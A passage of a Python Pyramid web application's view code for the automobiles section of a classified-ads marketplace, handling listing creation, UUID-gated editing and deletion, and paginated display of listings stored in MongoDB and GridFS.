automobiles_create_images_names_list.append(automobiles_create_image_name.filename)\n\n # use this for gridFS insertion operation\n automobiles_create_images_list = []\n for automobiles_create_image in automobiles_create_images:\n automobiles_create_images_list.append(automobiles_create_image)\n\n\n # Create other backend variables\n # create Product ID\n from .myModules import ran_gen_a\n automobiles_create_productID = ran_gen_a(8, \"AEIOSODMG23\")\n\n\n # Create a UUID number\n import uuid\n automobiles_create_privateUUID = uuid.uuid4()\n\n # Get specific date\n import datetime\n automobiles_create_dateTime = datetime.datetime.utcnow()\n\n\n # Create our RES API structure and push data to the RES\n automobiles_resAPI_json = {\n \"Private UUID\": \"\",\n \"Product ID\": \"\",\n \"Username\": \"\",\n \"State\": \"\",\n \"City\": \"\",\n \"Description\": \"\",\n \"Mobile\": \"\",\n \"Email\": \"\",\n \"Category\": \"\",\n \"Condition\": \"\",\n \"Images\": [],\n \"date\": \"\",\n }\n\n\n automobiles_resAPI_json[\"Private UUID\"] = automobiles_create_privateUUID\n automobiles_resAPI_json[\"Product ID\"] = automobiles_create_productID\n automobiles_resAPI_json[\"Username\"] = automobiles_create_username\n automobiles_resAPI_json[\"State\"] = automobiles_create_statesList\n automobiles_resAPI_json[\"City\"] = automobiles_create_city\n automobiles_resAPI_json[\"Description\"] = automobiles_create_textarea\n automobiles_resAPI_json[\"Mobile\"] = automobiles_create_mobile\n automobiles_resAPI_json[\"Email\"] = automobiles_create_email\n automobiles_resAPI_json[\"Category\"] = automobiles_create_category\n automobiles_resAPI_json[\"Condition\"] = automobiles_create_condition\n automobiles_resAPI_json[\"Images\"] = automobiles_create_images_names_list\n automobiles_resAPI_json[\"date\"] = automobiles_create_dateTime\n\n\n\n # Initialise database connection and perform CRUD operation on text and images\n # Perform CRUD operation on text strings\n import pymongo\n from pymongo import MongoClient\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called automobiles_text_collection\n text_collection= db.automobiles_text_collection\n\n # Insert API into database and close our connected client's connection\n text_collection.insert_one(automobiles_resAPI_json)\n\n\n # Perform CRUD operation on images\n import gridfs\n from gridfs import GridFS\n\n # Creating or getting an automobiles gridfs collection called 'automobiles_images_collection'\n # (Getting the GridFS object)\n image_collection = GridFS(db, \"automobiles_images_collection\")\n\n # Inserting files into gridfs and close our connected client's connection\n for image in automobiles_create_images_list:\n image_collection.put(image.file, filename=image.filename)\n\n # Close our database connection and free up resources.\n client.close()\n\n\n # # ############################################################################################\n # # Send private UUID to user's Email using login details and gmail server using inbuilt python email package\n import smtplib, os, sys\n from smtplib import SMTP\n from email.message import EmailMessage\n from dotenv import load_dotenv\n load_dotenv()\n\n try:\n email_content = (\"\"\"\\\n Hello %s, thanks for posting on spacenetng platform, an online commercial market place where buyers and sellers\n meet to carry out business transactions. Please be advised, a private user UUID has been created for you which \n you can use to update or delete your post and it should be kept confidential.\\n\n Here is your Seceret hey: %s\\n\n For support and enquiries please contact us via our contact details found on our contact page in our website.\\n\n Thanks for using this service, we hope to serve you better!!.\n \"\"\"\n % (automobiles_create_username, automobiles_create_privateUUID)\n \n )\n\n msg = EmailMessage()\n msg.set_content(email_content)\n\n msg['Subject'] = 'Your UUID from Spacenetng'\n msg['From'] = 'spacenetngbase@gmail.com'\n msg['To'] = automobiles_create_email\n\n server_ssl = smtplib.SMTP_SSL('smtp.gmail.com', 465)\n server_ssl.ehlo()\n\n email = os.environ['MY_EMAIL_ADDRESS']\n passWord = os.environ['MY_EMAIL_PASSWORD']\n\n server_ssl.login(email, passWord)\n server_ssl.send_message(msg) \n server_ssl.quit() # Terminate the SMTP session and free up resources \n \n # Or And,\n # print('Message sent successfully!!')\n\n except:\n pass\n # Or\n # print X\n\n finally:\n pass\n\n\n ######################################################\n # Redirect user to view what he/she has just posted \n body = (\n \"\"\n \"\"\n \"\"\n \"

Thanks for using our service, your post has been recorded successfully!! \"\n \"
\"\n \"You will be redirected shortly.

\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n\n\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# Modify\n@view_defaults(route_name='automobiles_modifyPost1')\nclass AutomobilesModifyPostViews(object):\n def __init__(self, request):\n self.request = request\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/automobiles_templates/automobiles_modifyPost1.pt')\n def automobiles_modifyPost1(self):\n return {'user_warning': ''}\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Handler method for modifyPost1 page form field input validation for edit mode\n # Redirect to modifyPost2 page if valid private uuid was given, else throw error.\n @view_config(request_method='POST', request_param='automobiles_modify1_editButton', renderer='templates/automobiles_templates/automobiles_modifyPost1.pt')\n def automobiles_modifyPost1_update_handler(self):\n from pyramid.renderers import render\n from pyramid.response import Response\n from pyramid.httpexceptions import HTTPFound\n import pymongo\n from pymongo import MongoClient\n from bson import ObjectId\n from uuid import UUID\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called automobiles_text_collection\n text_collection= db.automobiles_text_collection\n\n\n automobiles_update_privateUUID = self.request.params['automobiles_modify1_privateUUID']\n\n try:\n text_collection.find_one({'Private UUID': UUID(automobiles_update_privateUUID)})\n result1 = render('templates/automobiles_templates/automobiles_modifyPost2.pt' , {'private_UUID': automobiles_update_privateUUID, 'user_warning': ''}, request=self.request)\n return Response(result1)\n\n except:\n # Re-render form page and throw an error message saying \"Invalid Private UUID entered!!\"\n return {'user_warning': 'Invalid Private UUID entered!!'}\n\n client.close()\n \n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Handler method for modifyPost1 page form field input validation for delete mode\n @view_config(request_method='POST', request_param='automobiles_modify1_deleteButton', renderer='templates/automobiles_templates/automobiles_modifyPost1.pt')\n def automobiles_modifyPost1_delete_handler(self):\n from pyramid.renderers import render\n from pyramid.response import Response\n from pyramid.httpexceptions import HTTPFound\n import pymongo\n from pymongo import MongoClient\n from bson import ObjectId\n from uuid import UUID\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called automobiles_text_collection\n text_collection= db.automobiles_text_collection\n\n\n # Perform CRUD operation on images\n import gridfs\n from gridfs import GridFS\n\n # Creating or getting an automobiles gridfs collection called 'automobiles_images_collection'\n # (Getting the GridFS object)\n image_collection = GridFS(db, \"automobiles_images_collection\")\n\n\n automobiles_delete_privateUUID = self.request.params['automobiles_modify1_privateUUID']\n\n # # Delete operation................................................................................\n # Perform a find() query operation on a document using the private UUID for delete permision,\n # and then obtain its \"_id\" field.\n\n try:\n # Delete operation on the main text collection initialisation\n res0 = text_collection.find_one({'Private UUID': UUID(automobiles_delete_privateUUID)})\n res1 = res0['_id'] # Obtaining the '_id' attribute diff from that of gridfs\n\n # Delete operation On image collection\n # Obtain the '_id' values each on all images from the image collection\n # then perform the delete and/or replacement operation\n\n # Delete images in collection first before deleting the actual collection\n image_names_list_toDelete = res0['Images']\n\n for name in image_names_list_toDelete:\n res2 = image_collection.find_one({'filename': name})\n res3 = res2._id # Obtaining the '_id' attribute\n image_collection.delete(ObjectId(res3)) # Delete format for files in gridfs\n\n # text collection delete\n text_collection.delete_one({'_id': ObjectId(res1)})\n client.close()\n\n body = (\n \"\"\n \"\"\n \"\"\n \"

Thanks for using our service, your post has been deleted successfully!! \"\n \"
\"\n \"You will be redirected shortly.

\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n except:\n # Re-render form page and throw an error message saying \"Invalid Private UUID entered!!\"\n return {'user_warning': 'Invalid Private UUID entered!!'}\n\n\n\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # # response for modifyPost1 page, return this page if correct params were given in modifyPost1 page.\n @view_config(route_name='automobiles_modifyPost2', renderer='templates/automobiles_templates/automobiles_modifyPost2.pt')\n def automobiles_modifyPost2(self):\n return {}\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Perform operation on query params from modifyPost2 page,\n # return values and give the user a Response after creation of a new post\n @view_config(request_method='POST', request_param='automobiles_update_submitButton')\n def automobiles_modifyPost2_response(self):\n # -----------------------------------------------------------------------------------------------------------------\n # Updating and deleting records in database\n from pyramid.response import Response\n from pyramid.httpexceptions import HTTPFound\n import pymongo\n from pymongo import MongoClient\n from bson import ObjectId\n from uuid import UUID\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called automobiles_text_collection\n text_collection= db.automobiles_text_collection\n\n\n # Perform CRUD operation on images\n import gridfs\n from gridfs import GridFS\n\n # Creating or getting an automobiles gridfs collection called 'automobiles_images_collection'\n # (Getting the GridFS object)\n image_collection = GridFS(db, \"automobiles_images_collection\")\n\n\n # Perform CRUD Operation\n # Get specific date\n import datetime\n automobiles_update_dateTime = datetime.datetime.utcnow()\n\n automobiles_resAPI_json = {\n \"Username\": \"\",\n \"State\": \"\",\n \"City\": \"\",\n \"Description\": \"\",\n \"Mobile\": \"\",\n \"Email\": \"\",\n \"Category\": \"\",\n \"Condition\": \"\",\n \"Images\": [],\n \"date\": \"\",\n }\n\n #######################\n # Collect variables from form fields\n #######################\n\n # Get text items from form page\n automobiles_update_username = self.request.params['automobiles_update_username']\n automobiles_update_statesList = self.request.params['automobiles_update_statesList']\n automobiles_update_city = self.request.params['automobiles_update_city']\n automobiles_update_textarea = self.request.params['automobiles_update_textarea']\n automobiles_update_mobile = self.request.params['automobiles_update_mobile']\n automobiles_update_email = self.request.params['automobiles_update_email']\n automobiles_update_category = self.request.params['automobiles_update_category']\n automobiles_update_condition = self.request.params['automobiles_update_condition']\n \n # Get images from form page\n automobiles_update_images = self.request.POST.getall('automobiles_update_images')\n\n # Use this for our rest API insertion operation\n automobiles_update_images_names_list = []\n for automobiles_update_image_name in automobiles_update_images:\n automobiles_update_images_names_list.append(automobiles_update_image_name.filename)\n\n # use this for gridFS insertion operation\n automobiles_update_images_list = []\n for automobiles_update_image in automobiles_update_images:\n automobiles_update_images_list.append(automobiles_update_image)\n\n\n\n automobiles_resAPI_json[\"Username\"] = automobiles_update_username\n automobiles_resAPI_json[\"State\"] = automobiles_update_statesList\n automobiles_resAPI_json[\"City\"] = automobiles_update_city\n automobiles_resAPI_json[\"Description\"] = automobiles_update_textarea\n automobiles_resAPI_json[\"Mobile\"] = automobiles_update_mobile\n automobiles_resAPI_json[\"Email\"] = automobiles_update_email\n automobiles_resAPI_json[\"Category\"] = automobiles_update_category\n automobiles_resAPI_json[\"Condition\"] = automobiles_update_condition\n automobiles_resAPI_json[\"Images\"] = automobiles_update_images_names_list\n automobiles_resAPI_json[\"date\"] = automobiles_update_dateTime\n\n\n\n\n # Update operation.........................................................................\n # Update API in database and close our connected client's connection\n # Perform a find() query operation on a document using the private UUID to locate the particular document,\n # and then obtain its \"_id\" field.\n automobiles_update_privateUUID = self.request.params['automobiles_update_privateUUID']\n\n # Inititalise overall collection query using the text collection\n res1 = text_collection.find_one({'Private UUID': UUID(automobiles_update_privateUUID)})\n res2 = res1['_id'] # Obtaining the '_id' attribute diff from that of gridfs\n\n\n # Before inserting files, query for previous images previously inside database,\n # delete all images there and replace/update with the new one.\n\n # Obtain the '_id' values each on all images from the image collection\n # then perform the delete operation followed by the replacement operation\n image_names_list_toDelete = res1['Images']\n\n # Delete images already present first before updating the main collection\n # delete image collection\n for name in image_names_list_toDelete:\n res3 = image_collection.find_one({'filename': name})\n res4 = res3._id # Obtaining the '_id' attribute\n image_collection.delete(ObjectId(res4)) # Delete format for files in gridfs\n\n\n # Main text collection update\n text_collection.update_one({'_id': ObjectId(res2)}, {\"$set\": automobiles_resAPI_json})\n\n # then also update the image collection with the new images\n for image in automobiles_update_images_list:\n image_collection.put(image.file, filename=image.filename) # The update operation\n\n \n\n # Close our database connection and free up resources.\n client.close()\n\n body = (\n \"\"\n \"\"\n \"\"\n \"

Thanks for using our service, your post has been updated successfully!! \"\n \"
\"\n \"You will be redirected shortly.

\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# View products\n@view_defaults(route_name='automobiles_viewProducts1')\nclass AutomobilesViewProductsViews(object):\n def __init__(self, request):\n self.request = request\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/automobiles_templates/automobiles_viewProducts1.pt')\n def automobiles_viewProducts1(self):\n return {}\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Response from viewProducts1 page and validate with records in database \n @view_config(request_method='POST', request_param='automobiles_view_submit')\n def automobiles_viewProducts2_page1A(self):\n from pyramid.httpexceptions import HTTPFound\n # Perform some database matching on sub categories and redirect to the appropriate renderer.\n return HTTPFound(location='automobiles_viewProducts2_page1')\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='automobiles_viewProducts2_page1', renderer='templates/automobiles_templates/automobiles_viewProducts2_page1.pt')\n def automobiles_viewProducts2_page1B(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client1 = MongoClient('%s' % connection_string)\n db = client1.spacenetng_database\n\n # Create or open a text based records collection called automobiles_text_collection\n text_collection_automobiles = db.automobiles_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an automobiles gridfs collection called 'automobiles_images_collection'\n # (Getting the GridFS object)\n image_collection_automobiles = GridFS(db, \"automobiles_images_collection\")\n\n # Retrieve document record from database operation\n automobiles_collection = text_collection_automobiles.find().sort([(\"_id\", pymongo.DESCENDING)]).limit(5) #This returns 25 records\n\n # Push documents into a list\n automobiles_collection_list = []\n\n for record in automobiles_collection:\n automobiles_collection_list.append(record)\n\n document1 = automobiles_collection_list[0]\n document2 = automobiles_collection_list[1]\n document3 = automobiles_collection_list[2]\n document4 = automobiles_collection_list[3]\n document5 = automobiles_collection_list[4]\n \n\n # Extracting images\n # The images for document1\n document1_images_list_rawFile = []\n for image_name in document1[\"Images\"]:\n document1_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # For the images for document2\n document2_images_list_rawFile = []\n for image_name in document2[\"Images\"]:\n document2_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document3\n document3_images_list_rawFile = []\n for image_name in document3[\"Images\"]:\n document3_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document4\n document4_images_list_rawFile = []\n for image_name in document4[\"Images\"]:\n document4_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document5\n document5_images_list_rawFile = []\n for image_name in document5[\"Images\"]:\n document5_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document1\n #######################\n\n # For the text strings,\n automobiles_collection_document1_productID = document1[\"Product ID\"]\n automobiles_collection_document1_username = document1[\"Username\"]\n automobiles_collection_document1_state = document1[\"State\"]\n automobiles_collection_document1_city = document1[\"City\"]\n automobiles_collection_document1_description = document1[\"Description\"]\n automobiles_collection_document1_mobile = document1[\"Mobile\"]\n automobiles_collection_document1_email = document1[\"Email\"]\n automobiles_collection_document1_category = document1[\"Category\"]\n automobiles_collection_document1_condition = document1[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document1_images_UTF8_list = []\n\n for raw_image in document1_images_list_rawFile:\n document1_binaryImage = raw_image.read()\n document1_base64Image = codecs.encode(document1_binaryImage, 'base64')\n document1_UTF8Image = document1_base64Image.decode('utf-8')\n document1_images_UTF8_list.append(document1_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document1_imageA = document1_images_UTF8_list[0]\n\n try:\n automobiles_collection_document1_imageB = document1_images_UTF8_list[1]\n except:\n automobiles_collection_document1_imageB = document1_images_UTF8_list[0]\n\n try:\n automobiles_collection_document1_imageC = document1_images_UTF8_list[2]\n except:\n automobiles_collection_document1_imageC = document1_images_UTF8_list[0]\n\n try:\n automobiles_collection_document1_imageD = document1_images_UTF8_list[3]\n except:\n automobiles_collection_document1_imageD = document1_images_UTF8_list[0] \n \n try:\n automobiles_collection_document1_imageE = document1_images_UTF8_list[4]\n except:\n automobiles_collection_document1_imageE = document1_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document2\n #######################\n\n # For the text strings,\n automobiles_collection_document2_productID = document2[\"Product ID\"]\n automobiles_collection_document2_username = document2[\"Username\"]\n automobiles_collection_document2_state = document2[\"State\"]\n automobiles_collection_document2_city = document2[\"City\"]\n automobiles_collection_document2_description = document2[\"Description\"]\n automobiles_collection_document2_mobile = document2[\"Mobile\"]\n automobiles_collection_document2_email = document2[\"Email\"]\n automobiles_collection_document2_category = document2[\"Category\"]\n automobiles_collection_document2_condition = document2[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document2_images_UTF8_list = []\n\n for raw_image in document2_images_list_rawFile:\n document2_binaryImage = raw_image.read()\n document2_base64Image = codecs.encode(document2_binaryImage, 'base64')\n document2_UTF8Image = document2_base64Image.decode('utf-8')\n document2_images_UTF8_list.append(document2_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document2_imageA = document2_images_UTF8_list[0]\n\n try:\n automobiles_collection_document2_imageB = document2_images_UTF8_list[1]\n except:\n automobiles_collection_document2_imageB = document2_images_UTF8_list[0]\n\n try:\n automobiles_collection_document2_imageC = document2_images_UTF8_list[2]\n except:\n automobiles_collection_document2_imageC = document2_images_UTF8_list[0]\n\n try:\n automobiles_collection_document2_imageD = document2_images_UTF8_list[3]\n except:\n automobiles_collection_document2_imageD = document2_images_UTF8_list[0] \n \n try:\n automobiles_collection_document2_imageE = document2_images_UTF8_list[4]\n except:\n automobiles_collection_document2_imageE = document2_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document3\n #######################\n\n # For the text strings,\n automobiles_collection_document3_productID = document3[\"Product ID\"]\n automobiles_collection_document3_username = document3[\"Username\"]\n automobiles_collection_document3_state = document3[\"State\"]\n automobiles_collection_document3_city = document3[\"City\"]\n automobiles_collection_document3_description = document3[\"Description\"]\n automobiles_collection_document3_mobile = document3[\"Mobile\"]\n automobiles_collection_document3_email = document3[\"Email\"]\n automobiles_collection_document3_category = document3[\"Category\"]\n automobiles_collection_document3_condition = document3[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document3_images_UTF8_list = []\n\n for raw_image in document3_images_list_rawFile:\n document3_binaryImage = raw_image.read()\n document3_base64Image = codecs.encode(document3_binaryImage, 'base64')\n document3_UTF8Image = document3_base64Image.decode('utf-8')\n document3_images_UTF8_list.append(document3_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document3_imageA = document3_images_UTF8_list[0]\n\n try:\n automobiles_collection_document3_imageB = document3_images_UTF8_list[1]\n except:\n automobiles_collection_document3_imageB = document3_images_UTF8_list[0]\n\n try:\n automobiles_collection_document3_imageC = document3_images_UTF8_list[2]\n except:\n automobiles_collection_document3_imageC = document3_images_UTF8_list[0]\n\n try:\n automobiles_collection_document3_imageD = document3_images_UTF8_list[3]\n except:\n automobiles_collection_document3_imageD = document3_images_UTF8_list[0] \n \n try:\n automobiles_collection_document3_imageE = document3_images_UTF8_list[4]\n except:\n automobiles_collection_document3_imageE = document3_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document4\n #######################\n\n # For the text strings,\n automobiles_collection_document4_productID = document4[\"Product ID\"]\n automobiles_collection_document4_username = document4[\"Username\"]\n automobiles_collection_document4_state = document4[\"State\"]\n automobiles_collection_document4_city = document4[\"City\"]\n automobiles_collection_document4_description = document4[\"Description\"]\n automobiles_collection_document4_mobile = document4[\"Mobile\"]\n automobiles_collection_document4_email = document4[\"Email\"]\n automobiles_collection_document4_category = document4[\"Category\"]\n automobiles_collection_document4_condition = document4[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document4_images_UTF8_list = []\n\n for raw_image in document4_images_list_rawFile:\n document4_binaryImage = raw_image.read()\n document4_base64Image = codecs.encode(document4_binaryImage, 'base64')\n document4_UTF8Image = document4_base64Image.decode('utf-8')\n document4_images_UTF8_list.append(document4_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document4_imageA = document4_images_UTF8_list[0]\n\n try:\n automobiles_collection_document4_imageB = document4_images_UTF8_list[1]\n except:\n automobiles_collection_document4_imageB = document4_images_UTF8_list[0]\n\n try:\n automobiles_collection_document4_imageC = document4_images_UTF8_list[2]\n except:\n automobiles_collection_document4_imageC = document4_images_UTF8_list[0]\n\n try:\n automobiles_collection_document4_imageD = document4_images_UTF8_list[3]\n except:\n automobiles_collection_document4_imageD = document4_images_UTF8_list[0] \n \n try:\n automobiles_collection_document4_imageE = document4_images_UTF8_list[4]\n except:\n automobiles_collection_document4_imageE = document4_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document5\n #######################\n\n # For the text strings,\n automobiles_collection_document5_productID = document5[\"Product ID\"]\n automobiles_collection_document5_username = document5[\"Username\"]\n automobiles_collection_document5_state = document5[\"State\"]\n automobiles_collection_document5_city = document5[\"City\"]\n automobiles_collection_document5_description = document5[\"Description\"]\n automobiles_collection_document5_mobile = document5[\"Mobile\"]\n automobiles_collection_document5_email = document5[\"Email\"]\n automobiles_collection_document5_category = document5[\"Category\"]\n automobiles_collection_document5_condition = document5[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document5_images_UTF8_list = []\n\n for raw_image in document5_images_list_rawFile:\n document5_binaryImage = raw_image.read()\n document5_base64Image = codecs.encode(document5_binaryImage, 'base64')\n document5_UTF8Image = document5_base64Image.decode('utf-8')\n document5_images_UTF8_list.append(document5_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document5_imageA = document5_images_UTF8_list[0]\n\n try:\n automobiles_collection_document5_imageB = document5_images_UTF8_list[1]\n except:\n automobiles_collection_document5_imageB = document5_images_UTF8_list[0]\n\n try:\n automobiles_collection_document5_imageC = document5_images_UTF8_list[2]\n except:\n automobiles_collection_document5_imageC = document5_images_UTF8_list[0]\n\n try:\n automobiles_collection_document5_imageD = document5_images_UTF8_list[3]\n except:\n automobiles_collection_document5_imageD = document5_images_UTF8_list[0] \n \n try:\n automobiles_collection_document5_imageE = document5_images_UTF8_list[4]\n except:\n automobiles_collection_document5_imageE = document5_images_UTF8_list[0]\n\n \n # Close our database connection and free up resources.\n client1.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return {\n \n 'productID1' : automobiles_collection_document1_productID,\n 'username1' : automobiles_collection_document1_username,\n 'state1' : automobiles_collection_document1_state,\n 'city1' : automobiles_collection_document1_city,\n 'description1' : automobiles_collection_document1_description,\n 'mobile1' : automobiles_collection_document1_mobile,\n 'email1' : automobiles_collection_document1_email,\n 'category1' : automobiles_collection_document1_category,\n 'condition1': automobiles_collection_document1_condition,\n 'image1A' : automobiles_collection_document1_imageA,\n 'image1B' : automobiles_collection_document1_imageB,\n 'image1C' : automobiles_collection_document1_imageC,\n 'image1D': automobiles_collection_document1_imageD,\n 'image1E': automobiles_collection_document1_imageE,\n\n 'productID2' : automobiles_collection_document2_productID,\n 'username2' : automobiles_collection_document2_username,\n 'state2' : automobiles_collection_document2_state,\n 'city2' : automobiles_collection_document2_city,\n 'description2' : automobiles_collection_document2_description,\n 'mobile2' : automobiles_collection_document2_mobile,\n 'email2' : automobiles_collection_document2_email,\n 'category2' : automobiles_collection_document2_category,\n 'condition2': automobiles_collection_document2_condition,\n 'image2A' : automobiles_collection_document2_imageA,\n 'image2B' : automobiles_collection_document2_imageB,\n 'image2C' : automobiles_collection_document2_imageC,\n 'image2D': automobiles_collection_document2_imageD,\n 'image2E': automobiles_collection_document2_imageE,\n\n 'productID3' : automobiles_collection_document3_productID,\n 'username3' : automobiles_collection_document3_username,\n 'state3' : automobiles_collection_document3_state,\n 'city3' : automobiles_collection_document3_city,\n 'description3' : automobiles_collection_document3_description,\n 'mobile3' : automobiles_collection_document3_mobile,\n 'email3' : automobiles_collection_document3_email,\n 'category3' : automobiles_collection_document3_category,\n 'condition3': automobiles_collection_document3_condition,\n 'image3A' : automobiles_collection_document3_imageA,\n 'image3B' : automobiles_collection_document3_imageB,\n 'image3C' : automobiles_collection_document3_imageC,\n 'image3D': automobiles_collection_document3_imageD,\n 'image3E': automobiles_collection_document3_imageE,\n\n 'productID4' : automobiles_collection_document4_productID,\n 'username4' : automobiles_collection_document4_username,\n 'state4' : automobiles_collection_document4_state,\n 'city4' : automobiles_collection_document4_city,\n 'description4' : automobiles_collection_document4_description,\n 'mobile4' : automobiles_collection_document4_mobile,\n 'email4' : automobiles_collection_document4_email,\n 'category4' : automobiles_collection_document4_category,\n 'condition4': automobiles_collection_document4_condition,\n 'image4A' : automobiles_collection_document4_imageA,\n 'image4B' : automobiles_collection_document4_imageB,\n 'image4C' : automobiles_collection_document4_imageC,\n 'image4D': automobiles_collection_document4_imageD,\n 'image4E': automobiles_collection_document4_imageE,\n\n 'productID5' : automobiles_collection_document5_productID,\n 'username5' : automobiles_collection_document5_username,\n 'state5' : automobiles_collection_document5_state,\n 'city5' : automobiles_collection_document5_city,\n 'description5' : automobiles_collection_document5_description,\n 'mobile5' : automobiles_collection_document5_mobile,\n 'email5' : automobiles_collection_document5_email,\n 'category5' : automobiles_collection_document5_category,\n 'condition5': automobiles_collection_document5_condition,\n 'image5A' : automobiles_collection_document5_imageA,\n 'image5B' : automobiles_collection_document5_imageB,\n 'image5C' : automobiles_collection_document5_imageC,\n 'image5D': automobiles_collection_document5_imageD,\n 'image5E': automobiles_collection_document5_imageE,\n }\n\n\n # View pages....(n)\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='automobiles_viewProducts2_page2', renderer='templates/automobiles_templates/automobiles_viewProducts2_page2.pt')\n def automobiles_viewProducts2_page2(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client2 = MongoClient('%s' % connection_string)\n db = client2.spacenetng_database\n\n # Create or open a text based records collection called automobiles_text_collection\n text_collection_automobiles = db.automobiles_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an automobiles gridfs collection called 'automobiles_images_collection'\n # (Getting the GridFS object)\n image_collection_automobiles = GridFS(db, \"automobiles_images_collection\")\n\n # Retrieve document record from database operation\n automobiles_collection = text_collection_automobiles.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(5).limit(5) #This returns 25 records\n\n # Push documents into a list\n automobiles_collection_list = []\n\n for record in automobiles_collection:\n automobiles_collection_list.append(record)\n\n document6 = automobiles_collection_list[0]\n document7 = automobiles_collection_list[1]\n document8 = automobiles_collection_list[2]\n document9 = automobiles_collection_list[3]\n document10 = automobiles_collection_list[4]\n\n\n\n # The images for document6\n document6_images_list_rawFile = []\n for image_name in document6[\"Images\"]:\n document6_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document7\n document7_images_list_rawFile = []\n for image_name in document7[\"Images\"]:\n document7_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document8\n document8_images_list_rawFile = []\n for image_name in document8[\"Images\"]:\n document8_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document9\n document9_images_list_rawFile = []\n for image_name in document9[\"Images\"]:\n document9_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document10\n document10_images_list_rawFile = []\n for image_name in document10[\"Images\"]:\n document10_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document6\n #######################\n\n # For the text strings,\n automobiles_collection_document6_productID = document6[\"Product ID\"]\n 